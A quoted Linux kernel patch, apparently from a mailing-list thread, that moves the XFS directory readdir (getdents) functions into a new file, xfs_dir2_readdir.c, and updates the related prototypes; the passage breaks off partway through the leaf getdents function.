> - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > - rval = xfs_dir2_sf_getdents(dp, ctx); > - else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) > - ; > - else if (v) > - rval = xfs_dir2_block_getdents(dp, ctx); > - else > - rval = xfs_dir2_leaf_getdents(dp, ctx, bufsize); > - return rval; > -} > - > -/* > * Replace the inode number of a directory entry. > */ > int > diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c > index 5e7fbd7..5e84000 100644 > --- a/fs/xfs/xfs_dir2_block.c > +++ b/fs/xfs/xfs_dir2_block.c > @@ -126,7 +126,7 @@ const struct xfs_buf_ops xfs_dir3_block_buf_ops = { > .verify_write = xfs_dir3_block_write_verify, > }; > > -static int > +int > xfs_dir3_block_read( > struct xfs_trans *tp, > struct xfs_inode *dp, > @@ -565,101 +565,6 @@ xfs_dir2_block_addname( > } > > /* > - * Readdir for block directories. > - */ > -int /* error */ > -xfs_dir2_block_getdents( > - xfs_inode_t *dp, /* incore inode */ > - struct dir_context *ctx) > -{ > - xfs_dir2_data_hdr_t *hdr; /* block header */ > - struct xfs_buf *bp; /* buffer for block */ > - xfs_dir2_block_tail_t *btp; /* block tail */ > - xfs_dir2_data_entry_t *dep; /* block data entry */ > - xfs_dir2_data_unused_t *dup; /* block unused entry */ > - char *endptr; /* end of the data entries */ > - int error; /* error return value */ > - xfs_mount_t *mp; /* filesystem mount point */ > - char *ptr; /* current data entry */ > - int wantoff; /* starting block offset */ > - xfs_off_t cook; > - > - mp = dp->i_mount; > - /* > - * If the block number in the offset is out of range, we're done. > - */ > - if (xfs_dir2_dataptr_to_db(mp, ctx->pos) > mp->m_dirdatablk) > - return 0; > - > - error = xfs_dir3_block_read(NULL, dp, &bp); > - if (error) > - return error; > - > - /* > - * Extract the byte offset we start at from the seek pointer. > - * We'll skip entries before this. > - */ > - wantoff = xfs_dir2_dataptr_to_off(mp, ctx->pos); > - hdr = bp->b_addr; > - xfs_dir3_data_check(dp, bp); > - /* > - * Set up values for the loop. > - */ > - btp = xfs_dir2_block_tail_p(mp, hdr); > - ptr = (char *)xfs_dir3_data_entry_p(hdr); > - endptr = (char *)xfs_dir2_block_leaf_p(btp); > - > - /* > - * Loop over the data portion of the block. > - * Each object is a real entry (dep) or an unused one (dup). > - */ > - while (ptr < endptr) { > - dup = (xfs_dir2_data_unused_t *)ptr; > - /* > - * Unused, skip it. > - */ > - if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { > - ptr += be16_to_cpu(dup->length); > - continue; > - } > - > - dep = (xfs_dir2_data_entry_t *)ptr; > - > - /* > - * Bump pointer for the next iteration. > - */ > - ptr += xfs_dir2_data_entsize(dep->namelen); > - /* > - * The entry is before the desired starting point, skip it. > - */ > - if ((char *)dep - (char *)hdr < wantoff) > - continue; > - > - cook = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, > - (char *)dep - (char *)hdr); > - > - ctx->pos = cook & 0x7fffffff; > - /* > - * If it didn't fit, set the final offset to here & return. > - */ > - if (!dir_emit(ctx, (char *)dep->name, dep->namelen, > - be64_to_cpu(dep->inumber), DT_UNKNOWN)) { > - xfs_trans_brelse(NULL, bp); > - return 0; > - } > - } > - > - /* > - * Reached the end of the block. > - * Set the offset to a non-existent block 1 and return. > - */ > - ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & > - 0x7fffffff; > - xfs_trans_brelse(NULL, bp); > - return 0; > -} > - > -/* > * Log leaf entries from the block. > */ > static void > diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c > index 2aed25c..e1386aa 100644 > --- a/fs/xfs/xfs_dir2_leaf.c > +++ b/fs/xfs/xfs_dir2_leaf.c > @@ -1083,396 +1083,6 @@ xfs_dir3_leaf_compact_x1( > *highstalep = highstale; > } > > -struct xfs_dir2_leaf_map_info { > - xfs_extlen_t map_blocks; /* number of fsbs in map */ > - xfs_dablk_t map_off; /* last mapped file offset */ > - int map_size; /* total entries in *map */ > - int map_valid; /* valid entries in *map */ > - int nmap; /* mappings to ask xfs_bmapi */ > - xfs_dir2_db_t curdb; /* db for current block */ > - int ra_current; /* number of read-ahead blks */ > - int ra_index; /* *map index for read-ahead */ > - int ra_offset; /* map entry offset for ra */ > - int ra_want; /* readahead count wanted */ > - struct xfs_bmbt_irec map[]; /* map vector for blocks */ > -}; > - > -STATIC int > -xfs_dir2_leaf_readbuf( > - struct xfs_inode *dp, > - size_t bufsize, > - struct xfs_dir2_leaf_map_info *mip, > - xfs_dir2_off_t *curoff, > - struct xfs_buf **bpp) > -{ > - struct xfs_mount *mp = dp->i_mount; > - struct xfs_buf *bp = *bpp; > - struct xfs_bmbt_irec *map = mip->map; > - struct blk_plug plug; > - int error = 0; > - int length; > - int i; > - int j; > - > - /* > - * If we have a buffer, we need to release it and > - * take it out of the mapping. > - */ > - > - if (bp) { > - xfs_trans_brelse(NULL, bp); > - bp = NULL; > - mip->map_blocks -= mp->m_dirblkfsbs; > - /* > - * Loop to get rid of the extents for the > - * directory block. > - */ > - for (i = mp->m_dirblkfsbs; i > 0; ) { > - j = min_t(int, map->br_blockcount, i); > - map->br_blockcount -= j; > - map->br_startblock += j; > - map->br_startoff += j; > - /* > - * If mapping is done, pitch it from > - * the table. > - */ > - if (!map->br_blockcount && --mip->map_valid) > - memmove(&map[0], &map[1], > - sizeof(map[0]) * mip->map_valid); > - i -= j; > - } > - } > - > - /* > - * Recalculate the readahead blocks wanted. > - */ > - mip->ra_want = howmany(bufsize + mp->m_dirblksize, > - mp->m_sb.sb_blocksize) - 1; > - ASSERT(mip->ra_want >= 0); > - > - /* > - * If we don't have as many as we want, and we haven't > - * run out of data blocks, get some more mappings. > - */ > - if (1 + mip->ra_want > mip->map_blocks && > - mip->map_off < xfs_dir2_byte_to_da(mp, XFS_DIR2_LEAF_OFFSET)) { > - /* > - * Get more bmaps, fill in after the ones > - * we already have in the table. > - */ > - mip->nmap = mip->map_size - mip->map_valid; > - error = xfs_bmapi_read(dp, mip->map_off, > - xfs_dir2_byte_to_da(mp, XFS_DIR2_LEAF_OFFSET) - > - mip->map_off, > - &map[mip->map_valid], &mip->nmap, 0); > - > - /* > - * Don't know if we should ignore this or try to return an > - * error. The trouble with returning errors is that readdir > - * will just stop without actually passing the error through. > - */ > - if (error) > - goto out; /* XXX */ > - > - /* > - * If we got all the mappings we asked for, set the final map > - * offset based on the last bmap value received. Otherwise, > - * we've reached the end. > - */ > - if (mip->nmap == mip->map_size - mip->map_valid) { > - i = mip->map_valid + mip->nmap - 1; > - mip->map_off = map[i].br_startoff + map[i].br_blockcount; > - } else > - mip->map_off = xfs_dir2_byte_to_da(mp, > - XFS_DIR2_LEAF_OFFSET); > - > - /* > - * Look for holes in the mapping, and eliminate them. Count up > - * the valid blocks. > - */ > - for (i = mip->map_valid; i < mip->map_valid + mip->nmap; ) { > - if (map[i].br_startblock == HOLESTARTBLOCK) { > - mip->nmap--; > - length = mip->map_valid + mip->nmap - i; > - if (length) > - memmove(&map[i], &map[i + 1], > - sizeof(map[i]) * length); > - } else { > - mip->map_blocks += map[i].br_blockcount; > - i++; > - } > - } > - mip->map_valid += mip->nmap; > - } > - > - /* > - * No valid mappings, so no more data blocks. > - */ > - if (!mip->map_valid) { > - *curoff = xfs_dir2_da_to_byte(mp, mip->map_off); > - goto out; > - } > - > - /* > - * Read the directory block starting at the first mapping. > - */ > - mip->curdb = xfs_dir2_da_to_db(mp, map->br_startoff); > - error = xfs_dir3_data_read(NULL, dp, map->br_startoff, > - map->br_blockcount >= mp->m_dirblkfsbs ? > - XFS_FSB_TO_DADDR(mp, map->br_startblock) : -1, &bp); > - > - /* > - * Should just skip over the data block instead of giving up. > - */ > - if (error) > - goto out; /* XXX */ > - > - /* > - * Adjust the current amount of read-ahead: we just read a block that > - * was previously ra. > - */ > - if (mip->ra_current) > - mip->ra_current -= mp->m_dirblkfsbs; > - > - /* > - * Do we need more readahead? > - */ > - blk_start_plug(&plug); > - for (mip->ra_index = mip->ra_offset = i = 0; > - mip->ra_want > mip->ra_current && i < mip->map_blocks; > - i += mp->m_dirblkfsbs) { > - ASSERT(mip->ra_index < mip->map_valid); > - /* > - * Read-ahead a contiguous directory block. > - */ > - if (i > mip->ra_current && > - map[mip->ra_index].br_blockcount >= mp->m_dirblkfsbs) { > - xfs_dir3_data_readahead(NULL, dp, > - map[mip->ra_index].br_startoff + mip->ra_offset, > - XFS_FSB_TO_DADDR(mp, > - map[mip->ra_index].br_startblock + > - mip->ra_offset)); > - mip->ra_current = i; > - } > - > - /* > - * Read-ahead a non-contiguous directory block. This doesn't > - * use our mapping, but this is a very rare case. > - */ > - else if (i > mip->ra_current) { > - xfs_dir3_data_readahead(NULL, dp, > - map[mip->ra_index].br_startoff + > - mip->ra_offset, -1); > - mip->ra_current = i; > - } > - > - /* > - * Advance offset through the mapping table. > - */ > - for (j = 0; j < mp->m_dirblkfsbs; j++) { > - /* > - * The rest of this extent but not more than a dir > - * block. > - */ > - length = min_t(int, mp->m_dirblkfsbs, > - map[mip->ra_index].br_blockcount - > - mip->ra_offset); > - j += length; > - mip->ra_offset += length; > - > - /* > - * Advance to the next mapping if this one is used up. > - */ > - if (mip->ra_offset == map[mip->ra_index].br_blockcount) { > - mip->ra_offset = 0; > - mip->ra_index++; > - } > - } > - } > - blk_finish_plug(&plug); > - > -out: > - *bpp = bp; > - return error; > -} > - > -/* > - * Getdents (readdir) for leaf and node directories. > - * This reads the data blocks only, so is the same for both forms. > - */ > -int /* error */ > -xfs_dir2_leaf_getdents( > - xfs_inode_t *dp, /* incore directory inode */ > - struct dir_context *ctx, > - size_t bufsize) > -{ > - struct xfs_buf *bp = NULL; /* data block buffer */ > - xfs_dir2_data_hdr_t *hdr; /* data block header */ > - xfs_dir2_data_entry_t *dep; /* data entry */ > - xfs_dir2_data_unused_t *dup; /* unused entry */ > - int error = 0; /* error return value */ > - int length; /* temporary length value */ > - xfs_mount_t *mp; /* filesystem mount point */ > - int byteoff; /* offset in current block */ > - xfs_dir2_off_t curoff; /* current overall offset */ > - xfs_dir2_off_t newoff; /* new curoff after new blk */ > - char *ptr = NULL; /* pointer to current data */ > - struct xfs_dir2_leaf_map_info *map_info; > - > - /* > - * If the offset is at or past the largest allowed value, > - * give up right away. > - */ > - if (ctx->pos >= XFS_DIR2_MAX_DATAPTR) > - return 0; > - > - mp = dp->i_mount; > - > - /* > - * Set up to bmap a number of blocks based on the caller's > - * buffer size, the directory block size, and the filesystem > - * block size. > - */ > - length = howmany(bufsize + mp->m_dirblksize, > - mp->m_sb.sb_blocksize); > - map_info = kmem_zalloc(offsetof(struct xfs_dir2_leaf_map_info, map) + > - (length * sizeof(struct xfs_bmbt_irec)), > - KM_SLEEP | KM_NOFS); > - map_info->map_size = length; > - > - /* > - * Inside the loop we keep the main offset value as a byte offset > - * in the directory file. > - */ > - curoff = xfs_dir2_dataptr_to_byte(mp, ctx->pos); > - > - /* > - * Force this conversion through db so we truncate the offset > - * down to get the start of the data block. > - */ > - map_info->map_off = xfs_dir2_db_to_da(mp, > - xfs_dir2_byte_to_db(mp, curoff)); > - > - /* > - * Loop over directory entries until we reach the end offset. > - * Get more blocks and readahead as necessary. > - */ > - while (curoff < XFS_DIR2_LEAF_OFFSET) { > - /* > - * If we have no buffer, or we're off the end of the > - * current buffer, need to get another one. > - */ > - if (!bp || ptr >= (char *)bp->b_addr + mp->m_dirblksize) { > - > - error = xfs_dir2_leaf_readbuf(dp, bufsize, map_info, > - &curoff, &bp); > - if (error || !map_info->map_valid) > - break; > - > - /* > - * Having done a read, we need to set a new offset. > - */ > - newoff = xfs_dir2_db_off_to_byte(mp, map_info->curdb, 0); > - /* > - * Start of the current block. > - */ > - if (curoff < newoff) > - curoff = newoff; > - /* > - * Make sure we're in the right block. > - */ > - else if (curoff > newoff) > - ASSERT(xfs_dir2_byte_to_db(mp, curoff) == > - map_info->curdb); > - hdr = bp->b_addr; > - xfs_dir3_data_check(dp, bp); > - /* > - * Find our position in the block. > - */ > - ptr = (char *)xfs_dir3_data_entry_p(hdr); > - byteoff = xfs_dir2_byte_to_off(mp, curoff); > - /* > - * Skip past the header. > - */ > - if (byteoff == 0) > - curoff += xfs_dir3_data_entry_offset(hdr); > - /* > - * Skip past entries until we reach our offset. > - */ > - else { > - while ((char *)ptr - (char *)hdr < byteoff) { > - dup = (xfs_dir2_data_unused_t *)ptr; > - > - if (be16_to_cpu(dup->freetag) > - == XFS_DIR2_DATA_FREE_TAG) { > - > - length = be16_to_cpu(dup->length); > - ptr += length; > - continue; > - } > - dep = (xfs_dir2_data_entry_t *)ptr; > - length = > - xfs_dir2_data_entsize(dep->namelen); > - ptr += length; > - } > - /* > - * Now set our real offset. > - */ > - curoff = > - xfs_dir2_db_off_to_byte(mp, > - xfs_dir2_byte_to_db(mp, curoff), > - (char *)ptr - (char *)hdr); > - if (ptr >= (char *)hdr + mp->m_dirblksize) { > - continue; > - } > - } > - } > - /* > - * We have a pointer to an entry. > - * Is it a live one? > - */ > - dup = (xfs_dir2_data_unused_t *)ptr; > - /* > - * No, it's unused, skip over it. > - */ > - if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { > - length = be16_to_cpu(dup->length); > - ptr += length; > - curoff += length; > - continue; > - } > - > - dep = (xfs_dir2_data_entry_t *)ptr; > - length = xfs_dir2_data_entsize(dep->namelen); > - > - ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; > - if (!dir_emit(ctx, (char *)dep->name, dep->namelen, > - be64_to_cpu(dep->inumber), DT_UNKNOWN)) > - break; > - > - /* > - * Advance to next entry in the block. > - */ > - ptr += length; > - curoff += length; > - /* bufsize may have just been a guess; don't go negative */ > - bufsize = bufsize > length ? bufsize - length : 0; > - } > - > - /* > - * All done. Set output offset value to current offset. > - */ > - if (curoff > xfs_dir2_dataptr_to_byte(mp, XFS_DIR2_MAX_DATAPTR)) > - ctx->pos = XFS_DIR2_MAX_DATAPTR & 0x7fffffff; > - else > - ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; > - kmem_free(map_info); > - if (bp) > - xfs_trans_brelse(NULL, bp); > - return error; > -} > - > - > /* > * Log the bests entries indicated from a leaf1 block. > */ > diff --git a/fs/xfs/xfs_dir2_priv.h b/fs/xfs/xfs_dir2_priv.h > index 0511cda..72ff8d7 100644 > --- a/fs/xfs/xfs_dir2_priv.h > +++ b/fs/xfs/xfs_dir2_priv.h > @@ -32,9 +32,9 @@ extern int xfs_dir_cilookup_result(struct xfs_da_args *args, > /* xfs_dir2_block.c */ > extern const struct xfs_buf_ops xfs_dir3_block_buf_ops; > > +extern int xfs_dir3_block_read(struct xfs_trans *tp, struct xfs_inode *dp, > + struct xfs_buf **bpp); > extern int xfs_dir2_block_addname(struct xfs_da_args *args); > -extern int xfs_dir2_block_getdents(struct xfs_inode *dp, > - struct dir_context *ctx); > extern int xfs_dir2_block_lookup(struct xfs_da_args *args); > extern int xfs_dir2_block_removename(struct xfs_da_args *args); > extern int xfs_dir2_block_replace(struct xfs_da_args *args); > @@ -91,8 +91,6 @@ extern void xfs_dir3_leaf_compact(struct xfs_da_args *args, > extern void xfs_dir3_leaf_compact_x1(struct xfs_dir3_icleaf_hdr *leafhdr, > struct xfs_dir2_leaf_entry *ents, int *indexp, > int *lowstalep, int *highstalep, int *lowlogp, int *highlogp); > -extern int xfs_dir2_leaf_getdents(struct xfs_inode *dp, struct dir_context *ctx, > - size_t bufsize); > extern int xfs_dir3_leaf_get_buf(struct xfs_da_args *args, xfs_dir2_db_t bno, > struct xfs_buf **bpp, __uint16_t magic); > extern void xfs_dir3_leaf_log_ents(struct xfs_trans *tp, struct xfs_buf *bp, > @@ -153,7 +151,6 @@ extern int xfs_dir2_block_to_sf(struct xfs_da_args *args, struct xfs_buf *bp, > int size, xfs_dir2_sf_hdr_t *sfhp); > extern int xfs_dir2_sf_addname(struct xfs_da_args *args); > extern int xfs_dir2_sf_create(struct xfs_da_args *args, xfs_ino_t pino); > -extern int xfs_dir2_sf_getdents(struct xfs_inode *dp, struct dir_context *ctx); > extern int xfs_dir2_sf_lookup(struct xfs_da_args *args); > extern int xfs_dir2_sf_removename(struct xfs_da_args *args); > extern int xfs_dir2_sf_replace(struct xfs_da_args *args); > diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c > new file mode 100644 > index 0000000..fd3829a > --- /dev/null > +++ b/fs/xfs/xfs_dir2_readdir.c > @@ -0,0 +1,646 @@ > +/* > + * Copyright (c) 2000-2005 Silicon Graphics, Inc. > + * Copyright (c) 2013 Red Hat, Inc. > + * All Rights Reserved. > + * > + * This program is free software; you can redistribute it and/or > + * modify it under the terms of the GNU General Public License as > + * published by the Free Software Foundation. > + * > + * This program is distributed in the hope that it would be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write the Free Software Foundation, > + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > +#include "xfs.h" > +#include "xfs_fs.h" > +#include "xfs_types.h" > +#include "xfs_bit.h" > +#include "xfs_log.h" > +#include "xfs_trans.h" > +#include "xfs_sb.h" > +#include "xfs_ag.h" > +#include "xfs_mount.h" > +#include "xfs_da_btree.h" > +#include "xfs_bmap_btree.h" > +#include "xfs_dinode.h" > +#include "xfs_inode.h" > +#include "xfs_dir2_format.h" > +#include "xfs_dir2_priv.h" > +#include "xfs_error.h" > +#include "xfs_trace.h" > +#include "xfs_bmap.h" > + > +STATIC int > +xfs_dir2_sf_getdents( > + xfs_inode_t *dp, /* incore directory inode */ > + struct dir_context *ctx) > +{ > + int i; /* shortform entry number */ > + xfs_mount_t *mp; /* filesystem mount point */ > + xfs_dir2_dataptr_t off; /* current entry's offset */ > + xfs_dir2_sf_entry_t *sfep; /* shortform directory entry */ > + xfs_dir2_sf_hdr_t *sfp; /* shortform structure */ > + xfs_dir2_dataptr_t dot_offset; > + xfs_dir2_dataptr_t dotdot_offset; > + xfs_ino_t ino; > + > + mp = dp->i_mount; > + > + ASSERT(dp->i_df.if_flags & XFS_IFINLINE); > + /* > + * Give up if the directory is way too short. > + */ > + if (dp->i_d.di_size < offsetof(xfs_dir2_sf_hdr_t, parent)) { > + ASSERT(XFS_FORCED_SHUTDOWN(mp)); > + return XFS_ERROR(EIO); > + } > + > + ASSERT(dp->i_df.if_bytes == dp->i_d.di_size); > + ASSERT(dp->i_df.if_u1.if_data != NULL); > + > + sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; > + > + ASSERT(dp->i_d.di_size >= xfs_dir2_sf_hdr_size(sfp->i8count)); > + > + /* > + * If the block number in the offset is out of range, we're done. > + */ > + if (xfs_dir2_dataptr_to_db(mp, ctx->pos) > mp->m_dirdatablk) > + return 0; > + > + /* > + * Precalculate offsets for . and .. as we will always need them. > + * > + * XXX(hch): the second argument is sometimes 0 and sometimes > + * mp->m_dirdatablk. > + */ > + dot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, > + XFS_DIR3_DATA_DOT_OFFSET(mp)); > + dotdot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, > + XFS_DIR3_DATA_DOTDOT_OFFSET(mp)); > + > + /* > + * Put . entry unless we're starting past it. > + */ > + if (ctx->pos <= dot_offset) { > + ctx->pos = dot_offset & 0x7fffffff; > + if (!dir_emit(ctx, ".", 1, dp->i_ino, DT_DIR)) > + return 0; > + } > + > + /* > + * Put .. entry unless we're starting past it. > + */ > + if (ctx->pos <= dotdot_offset) { > + ino = xfs_dir2_sf_get_parent_ino(sfp); > + ctx->pos = dotdot_offset & 0x7fffffff; > + if (!dir_emit(ctx, "..", 2, ino, DT_DIR)) > + return 0; > + } > + > + /* > + * Loop while there are more entries and put'ing works. > + */ > + sfep = xfs_dir2_sf_firstentry(sfp); > + for (i = 0; i < sfp->count; i++) { > + off = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, > + xfs_dir2_sf_get_offset(sfep)); > + > + if (ctx->pos > off) { > + sfep = xfs_dir2_sf_nextentry(sfp, sfep); > + continue; > + } > + > + ino = xfs_dir2_sfe_get_ino(sfp, sfep); > + ctx->pos = off & 0x7fffffff; > + if (!dir_emit(ctx, (char *)sfep->name, sfep->namelen, > + ino, DT_UNKNOWN)) > + return 0; > + sfep = xfs_dir2_sf_nextentry(sfp, sfep); > + } > + > + ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & > + 0x7fffffff; > + return 0; > +} > + > +/* > + * Readdir for block directories. > + */ > +STATIC int > +xfs_dir2_block_getdents( > + xfs_inode_t *dp, /* incore inode */ > + struct dir_context *ctx) > +{ > + xfs_dir2_data_hdr_t *hdr; /* block header */ > + struct xfs_buf *bp; /* buffer for block */ > + xfs_dir2_block_tail_t *btp; /* block tail */ > + xfs_dir2_data_entry_t *dep; /* block data entry */ > + xfs_dir2_data_unused_t *dup; /* block unused entry */ > + char *endptr; /* end of the data entries */ > + int error; /* error return value */ > + xfs_mount_t *mp; /* filesystem mount point */ > + char *ptr; /* current data entry */ > + int wantoff; /* starting block offset */ > + xfs_off_t cook; > + > + mp = dp->i_mount; > + /* > + * If the block number in the offset is out of range, we're done. > + */ > + if (xfs_dir2_dataptr_to_db(mp, ctx->pos) > mp->m_dirdatablk) > + return 0; > + > + error = xfs_dir3_block_read(NULL, dp, &bp); > + if (error) > + return error; > + > + /* > + * Extract the byte offset we start at from the seek pointer. > + * We'll skip entries before this. > + */ > + wantoff = xfs_dir2_dataptr_to_off(mp, ctx->pos); > + hdr = bp->b_addr; > + xfs_dir3_data_check(dp, bp); > + /* > + * Set up values for the loop. > + */ > + btp = xfs_dir2_block_tail_p(mp, hdr); > + ptr = (char *)xfs_dir3_data_entry_p(hdr); > + endptr = (char *)xfs_dir2_block_leaf_p(btp); > + > + /* > + * Loop over the data portion of the block. > + * Each object is a real entry (dep) or an unused one (dup). > + */ > + while (ptr < endptr) { > + dup = (xfs_dir2_data_unused_t *)ptr; > + /* > + * Unused, skip it. > + */ > + if (be16_to_cpu(dup->freetag) == XFS_DIR2_DATA_FREE_TAG) { > + ptr += be16_to_cpu(dup->length); > + continue; > + } > + > + dep = (xfs_dir2_data_entry_t *)ptr; > + > + /* > + * Bump pointer for the next iteration. > + */ > + ptr += xfs_dir2_data_entsize(dep->namelen); > + /* > + * The entry is before the desired starting point, skip it. > + */ > + if ((char *)dep - (char *)hdr < wantoff) > + continue; > + > + cook = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, > + (char *)dep - (char *)hdr); > + > + ctx->pos = cook & 0x7fffffff; > + /* > + * If it didn't fit, set the final offset to here & return. > + */ > + if (!dir_emit(ctx, (char *)dep->name, dep->namelen, > + be64_to_cpu(dep->inumber), DT_UNKNOWN)) { > + xfs_trans_brelse(NULL, bp); > + return 0; > + } > + } > + > + /* > + * Reached the end of the block. > + * Set the offset to a non-existent block 1 and return. > + */ > + ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & > + 0x7fffffff; > + xfs_trans_brelse(NULL, bp); > + return 0; > +} > + > +struct xfs_dir2_leaf_map_info { > + xfs_extlen_t map_blocks; /* number of fsbs in map */ > + xfs_dablk_t map_off; /* last mapped file offset */ > + int map_size; /* total entries in *map */ > + int map_valid; /* valid entries in *map */ > + int nmap; /* mappings to ask xfs_bmapi */ > + xfs_dir2_db_t curdb; /* db for current block */ > + int ra_current; /* number of read-ahead blks */ > + int ra_index; /* *map index for read-ahead */ > + int ra_offset; /* map entry offset for ra */ > + int ra_want; /* readahead count wanted */ > + struct xfs_bmbt_irec map[]; /* map vector for blocks */ > +}; > + > +STATIC int > +xfs_dir2_leaf_readbuf( > + struct xfs_inode *dp, > + size_t bufsize, > + struct xfs_dir2_leaf_map_info *mip, > + xfs_dir2_off_t *curoff, > + struct xfs_buf **bpp) > +{ > + struct xfs_mount *mp = dp->i_mount; > + struct xfs_buf *bp = *bpp; > + struct xfs_bmbt_irec *map = mip->map; > + struct blk_plug plug; > + int error = 0; > + int length; > + int i; > + int j; > + > + /* > + * If we have a buffer, we need to release it and > + * take it out of the mapping. > + */ > + > + if (bp) { > + xfs_trans_brelse(NULL, bp); > + bp = NULL; > + mip->map_blocks -= mp->m_dirblkfsbs; > + /* > + * Loop to get rid of the extents for the > + * directory block. > + */ > + for (i = mp->m_dirblkfsbs; i > 0; ) { > + j = min_t(int, map->br_blockcount, i); > + map->br_blockcount -= j; > + map->br_startblock += j; > + map->br_startoff += j; > + /* > + * If mapping is done, pitch it from > + * the table. > + */ > + if (!map->br_blockcount && --mip->map_valid) > + memmove(&map[0], &map[1], > + sizeof(map[0]) * mip->map_valid); > + i -= j; > + } > + } > + > + /* > + * Recalculate the readahead blocks wanted. > + */ > + mip->ra_want = howmany(bufsize + mp->m_dirblksize, > + mp->m_sb.sb_blocksize) - 1; > + ASSERT(mip->ra_want >= 0); > + > + /* > + * If we don't have as many as we want, and we haven't > + * run out of data blocks, get some more mappings. > + */ > + if (1 + mip->ra_want > mip->map_blocks && > + mip->map_off < xfs_dir2_byte_to_da(mp, XFS_DIR2_LEAF_OFFSET)) { > + /* > + * Get more bmaps, fill in after the ones > + * we already have in the table. > + */ > + mip->nmap = mip->map_size - mip->map_valid; > + error = xfs_bmapi_read(dp, mip->map_off, > + xfs_dir2_byte_to_da(mp, XFS_DIR2_LEAF_OFFSET) - > + mip->map_off, > + &map[mip->map_valid], &mip->nmap, 0); > + > + /* > + * Don't know if we should ignore this or try to return an > + * error. The trouble with returning errors is that readdir > + * will just stop without actually passing the error through. > + */ > + if (error) > + goto out; /* XXX */ > + > + /* > + * If we got all the mappings we asked for, set the final map > + * offset based on the last bmap value received. Otherwise, > + * we've reached the end. > + */ > + if (mip->nmap == mip->map_size - mip->map_valid) { > + i = mip->map_valid + mip->nmap - 1; > + mip->map_off = map[i].br_startoff + map[i].br_blockcount; > + } else > + mip->map_off = xfs_dir2_byte_to_da(mp, > + XFS_DIR2_LEAF_OFFSET); > + > + /* > + * Look for holes in the mapping, and eliminate them. Count up > + * the valid blocks. > + */ > + for (i = mip->map_valid; i < mip->map_valid + mip->nmap; ) { > + if (map[i].br_startblock == HOLESTARTBLOCK) { > + mip->nmap--; > + length = mip->map_valid + mip->nmap - i; > + if (length) > + memmove(&map[i], &map[i + 1], > + sizeof(map[i]) * length); > + } else { > + mip->map_blocks += map[i].br_blockcount; > + i++; > + } > + } > + mip->map_valid += mip->nmap; > + } > + > + /* > + * No valid mappings, so no more data blocks. > + */ > + if (!mip->map_valid) { > + *curoff = xfs_dir2_da_to_byte(mp, mip->map_off); > + goto out; > + } > + > + /* > + * Read the directory block starting at the first mapping. > + */ > + mip->curdb = xfs_dir2_da_to_db(mp, map->br_startoff); > + error = xfs_dir3_data_read(NULL, dp, map->br_startoff, > + map->br_blockcount >= mp->m_dirblkfsbs ? > + XFS_FSB_TO_DADDR(mp, map->br_startblock) : -1, &bp); > + > + /* > + * Should just skip over the data block instead of giving up. > + */ > + if (error) > + goto out; /* XXX */ > + > + /* > + * Adjust the current amount of read-ahead: we just read a block that > + * was previously ra. > + */ > + if (mip->ra_current) > + mip->ra_current -= mp->m_dirblkfsbs; > + > + /* > + * Do we need more readahead? > + */ > + blk_start_plug(&plug); > + for (mip->ra_index = mip->ra_offset = i = 0; > + mip->ra_want > mip->ra_current && i < mip->map_blocks; > + i += mp->m_dirblkfsbs) { > + ASSERT(mip->ra_index < mip->map_valid); > + /* > + * Read-ahead a contiguous directory block. > + */ > + if (i > mip->ra_current && > + map[mip->ra_index].br_blockcount >= mp->m_dirblkfsbs) { > + xfs_dir3_data_readahead(NULL, dp, > + map[mip->ra_index].br_startoff + mip->ra_offset, > + XFS_FSB_TO_DADDR(mp, > + map[mip->ra_index].br_startblock + > + mip->ra_offset)); > + mip->ra_current = i; > + } > + > + /* > + * Read-ahead a non-contiguous directory block. This doesn't > + * use our mapping, but this is a very rare case. > + */ > + else if (i > mip->ra_current) { > + xfs_dir3_data_readahead(NULL, dp, > + map[mip->ra_index].br_startoff + > + mip->ra_offset, -1); > + mip->ra_current = i; > + } > + > + /* > + * Advance offset through the mapping table. > + */ > + for (j = 0; j < mp->m_dirblkfsbs; j++) { > + /* > + * The rest of this extent but not more than a dir > + * block. > + */ > + length = min_t(int, mp->m_dirblkfsbs, > + map[mip->ra_index].br_blockcount - > + mip->ra_offset); > + j += length; > + mip->ra_offset += length; > + > + /* > + * Advance to the next mapping if this one is used up. > + */ > + if (mip->ra_offset == map[mip->ra_index].br_blockcount) { > + mip->ra_offset = 0; > + mip->ra_index++; > + } > + } > + } > + blk_finish_plug(&plug); > + > +out: > + *bpp = bp; > + return error; > +} > + > +/* > + * Getdents (readdir) for leaf and node directories. > + * This reads the data blocks only, so is the same for both forms. > + */ > +STATIC int > +xfs_dir2_leaf_getdents( > + xfs_inode_t *dp, /* incore directory inode */ > + struct dir_context *ctx, > + size_t bufsize) > +{ > + struct xfs_buf *bp = NULL; /* data block buffer */ > + xfs_dir2_data_hdr_t *hdr; /* data block header */ > + xfs_dir2_data_entry_t *dep; /* data entry */ > + xfs_dir2_data_unused_t *dup; /* unused entry */ > + int error = 0; /* error return value */ > + int length; /* temporary length value */ > + xfs_mount_t *mp; /* filesystem mount point */ > + int byteoff; /* offset in current 